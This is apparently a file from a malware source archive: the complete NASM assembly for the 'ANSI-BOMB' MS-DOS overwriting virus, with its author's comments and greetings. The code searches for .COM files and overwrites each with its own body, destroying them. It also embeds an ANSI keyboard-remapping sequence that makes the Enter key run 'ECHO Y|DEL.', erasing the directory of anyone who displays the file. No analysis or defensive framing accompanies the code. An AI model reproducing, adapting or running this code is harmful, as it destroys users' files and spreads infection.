MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ansibomb.asm
2021-01-12 17:31:39 -06:00

72 lines
2.1 KiB
NASM

;|
;| ANSI-BOMB BY TESLA 5
;|
;| THIS VIRUS IS LOSELY BASED ON THE WEFLOW 1993 VIRUS, WHICH WAS BASED
;| ON TRIDENT OVERWRITING VIRUS, MADE BY .... OF TRIDENT. DON'T TYPE
;| THIS FILE, OR WHEN YOU PRESS 'ENTER' YOUR DIR WILL BE ERASED. GREETINGS
;| TO TRIDENT, NUKE, PHALCOM/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO
;| KNOW YOU. APOLOGIES TO TRIDENT THAT I MADE THESE LAME VARIANTS OF
;| YOUR VIRUS, BUT I DON'T KNOW HOW OTHER INFECTION SCHEMES WORK.
;| REACTIONS ARE WELCOME.
;|
START: JMP DOIT
DB 8,8,8
DB 'I HOPE YOU DON''T HAVE ANSI, BOY!'
DB 27,'[13;13;"ECHO Y|DEL.";13P'
DB 26
MSG:
DB 13,10,'HELLO! WHAT WILL YOU DO ABOUT THIS? BUY ORIGINALS TO AVOID ME AND MY 1500'
DB 13,10,'NASTY FRIENDS, BECAUSE WE ARE EVERYWHERE!',13,10,'$'
DB 'ð ANSI-BOMB VIRUS BY TESLA 5 ð'
DOIT: MOV AH, 4EH
SEEK: PUSH CS
POP DS
LEA DX,FSPEC
XOR CX,CX
INT 21H
JC DOMSG
MOV AX,3D02H
MOV DX,9EH
INT 21H
XCHG AX,BX
MOV AH,40H
LEA DX,START
MOV CX,PRGLEN
INT 21H
MOV AH,3EH
INT 21H
MOV AH,4FH
JMP SEEK
DOMSG: XOR CX,CX
MOV ES,CX
MOV AL,BYTE PTR ES:[46CH]
CMP AL,30H
JA EINDE
MOV AH,9
LEA DX,MSG
INT 21H
EINDE: RET
FSPEC DB '*.COM',0
PRGLEN EQU $-START
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ